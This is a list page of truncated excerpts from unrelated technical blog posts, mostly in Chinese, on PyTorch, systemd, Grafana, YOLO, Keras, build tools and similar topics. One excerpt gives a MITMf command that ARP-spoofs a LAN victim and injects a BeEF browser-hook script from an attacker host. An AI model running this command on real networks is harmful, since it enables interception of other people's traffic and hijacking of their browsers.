目录 一、损失函数 二、反向传播 三、优化器 如何调整学习速率 一、损失函数 https://pytorch.org/docs/stable/generated/torch.nn.CrossEntropyLoss.html#torch.nn.CrossEntropyLoss L1Loss和MSELoss 注意loss function输入shape和输出shape即可。 import torch from torch.n
Systemd是用于Linux的现代初始化系统：与流行的SysV初始化系统和LSB初始化脚本兼容的系统服务管理器。在Linux系统上，操作系统的当前操作状态称为运行级别；它定义了正在运行的系统服务。在Centos6之前的系统种使用SysV init，运行级别由数字标识。但是，在systemd中，运行级别称为targets。
搭建基于Prometheus+Grafana监控平台 本文从实战出发,不讲作用只讲部署监控机器状态(端口9100) 本文从实战出发,不讲作用只讲部署 Grafana下载 建议手动使用安装rpm。 sudo yum install initscripts fontconfig yum install urw-fonts yum install freetype rpm -Uvh gr
我是歌谣 放弃很容易 但是坚持一定很酷 1前言 在我们的开发过程中 会遇到一些开发的需求 怎么实现 怎么写 怎么做才最合理 2需求处理 拿到一个需求就和做数学题一样 我们要理清所有的关系 由于本文知识对需求进行阐述 所以就以vue为例子 2.1 需求1处理页面样式某页面跳转
YOLOv5介绍 YOLOv5为兼顾速度与性能的目标检测算法。笔者将在近期更新一系列YOLOv5的代码导读博客。YOLOv5为2021.1.5日发布的4.0版本。 YOLOv5开源项目github网址 源代码导读汇总网址 本博客导读的代码为utils文件夹下的loss.py，取自2020。5.10更新版本。 在介绍损失函数的代
前言图形图像这块儿，最近因为工作需要接触的相对多了点儿，精力基本上也都投入了这块儿，搞的天天要死要活，毕竟我一个.net的突然来到cxx的世界，也是很苦恼的，也是头一次见到新建工程就需要配置并且解决各种报错，就连vtk的代码搞下来都还要调整，唉，不多说了。vtk的生成为啥不做vtk的介绍呢，因为
在以往某些版本（比如2003年的Redhat 9 (Shrike)），要想让Linux启动后默认进入键盘命令界面需要在“/etc/inittab”文件中修改 id:5:initdefault: 为 id:3:initdefault: 但许多新的Linux发行版已经“使用targets代替了runlevels”： 上图为“/etc/inittab”文件内容，文件默认已经没
every blog every motto: Just live your life cause we don’t live twice. 0. 前言 在用pytorch训练网络，计算损失时，遇到错误 1. 正文 1.1 错误回顾 RuntimeError: 1only batches of spatial targets supported (3D tensors) but got targets of size: : [2, 10, 256, 256]
Gradient Descent and Linear Regression with PyTorch Part 2 of "Deep Learning with Pytorch: Zero to GANs" This tutorial series is a hands-on beginner-friendly introduction to deep learning using PyTorch, an open-source neural networks library. Th
本文是记录在开发 WPF 框架遇到的问题。 在 WPF 框架里面，限制了 API 的变更，所有关于 API 的变动都会触发 API 兼容检查。只有在明确此 API 变更是合理的之后，才能被接受更改。而此兼容判断将会让一些本地构建失败，本文将告诉大家如何使用官方的方法重新创建 API 基准，让本地构建
# 加载波士顿房价数据 from keras.datasets import boston_housing (train_data,train_targets),(test_data,test_targets) = boston_housing.load_data() Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/boston_housing.npz 57344/57026
YOLOv3学习笔记之数据处理 目录 dataset中的数据处理 1. 图片处理2. 标签处理 dataset中的数据处理 1. 图片处理 将读取的图片进行reshape，变为正方形 def pad_to_square(img, pad_value): c, h, w = img.shape dim_diff = np.abs(h - w) # (upper / left) paddin
本文主要介绍了用 pytorch 实现简单的 Seq2Seq 机器翻译任务，参考了 李宏毅老师的深度学习课程 的作业八，数据集也来自于此，视频课程可以在B站学习（https://www.bilibili.com/video/BV1JE411g7XF?p=53）。算法理论可以阅读论文"Sequence to Sequence Learning with Neural Networks"，
这篇应该是甲基化QC的最后一篇啦。 感谢健明带入门。 我前面已经写完两篇： QC1:甲基化数据QC：使用甲基化数据计算样本间的相关性 QC2:甲基化数据QC: 使用甲基化数据推测SNP基因型（ewastools工具） 下面补充一下对甲基化样本和CpG位点QC的总流程： 1、导入、加载安装包 if (!requireNamesp
git clone https://github.com/BradLarson/GPUImage 先git clone 下这个库： 可以看到拉下来的代码里有一些examples：选择Mac文件夹里的SimplePhotoFilter文件夹里的SimplePhotoFilter.xcodeproj 打开工程之后，把 GPUImageMac.xcodeproj 文件拖到 Fram
Scons是依赖于python写的编译脚本，相对makefile来说，用起来更简单一些，不需要记太多的makefile语法。 安装方法： 1 安装python3， 2 执行sudo python -m pip install scons。 和makefile需要一个Makefile文件一样，Scons同样需要一个 Sconstruct文件。里面用来写编译脚本，语法和python一
1.准备 开始之前，你要确保Python和pip已经成功安装在电脑上噢，如果没有，请访问这篇文章：超详细Python安装指南 进行安装。 Windows环境下打开Cmd(开始—运行—CMD)，苹果系统环境下请打开Terminal(command+空格输入Terminal)，准备开始输入命令安装依赖。 输入以下命令安装我们所
CLIENT SIDE ATTACK - BeEF Framework Hooking targets using MITMF Tools: MITMF and BeEF Start BeEF and execute the following commands: python2 mitmf.py --arp --spoof --gateway 10.0.0.1 --targets 10.0.0.22 -i eth0 --inject --js-url http://10.0.0.13:3000/hoo
https://blog.csdn.net/xiewenrui1996/article/details/103913963 《Python深度学习》 下面是你应该从这个例子中学到的要点。 ‰ 回归问题使用的损失函数与分类问题不同。回归常用的损失函数是均方误差（MSE）。 ‰ 同样，回归问题使用的评估指标也与分类问题不同。显而易见，精度
参考：https://www.jianshu.com/p/40da0ba35ac1 1. 安装 npm install babel-plugin-component –D 2. 修改.babelrc 原babelrc： { "presets": [ ["env", { "modules": false, "targets": { "browsers
网站地址：http://www.meizitu.com/a/more_1.htmlfrom bs4 import BeautifulSoupimport random,os,requests headers = { 'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101", 'Referer': "http://
To some string S, we will perform some replacement operations that replace groups of letters with new ones (not necessarily the same size).Each replacement operation has 3 parameters: a starting index i, a source word x and a target word y. The rule is t
iOS开发工程化-cocoapods详解 | HChong的博客地址 戳我 戳我 博客 分类 标签 关于 搜索 文章目录 本文主要讲解coc
通过ping来监测对端网络状态 ping fpinf在windows和linux上的参数是不同的，返回的结果也是不同的 在网络连通性监测方面用的比较多，在py go中调用命令，对返回的结果使用正则来在文本中挑出所需要的数据信息 windows中的ping参数 fping fping只在ping的基础上增加了更多专业的功能，可
零、学习生成测试数据 from sklearn.datasets import make_blobs from matplotlib import pyplot # create test data sets datas, targets = make_blobs( n_samples=100, #样本数量 n_features=2, #样本特征数 centers=3, #中心数量 cluster_std=[0.5, 1.0, 1
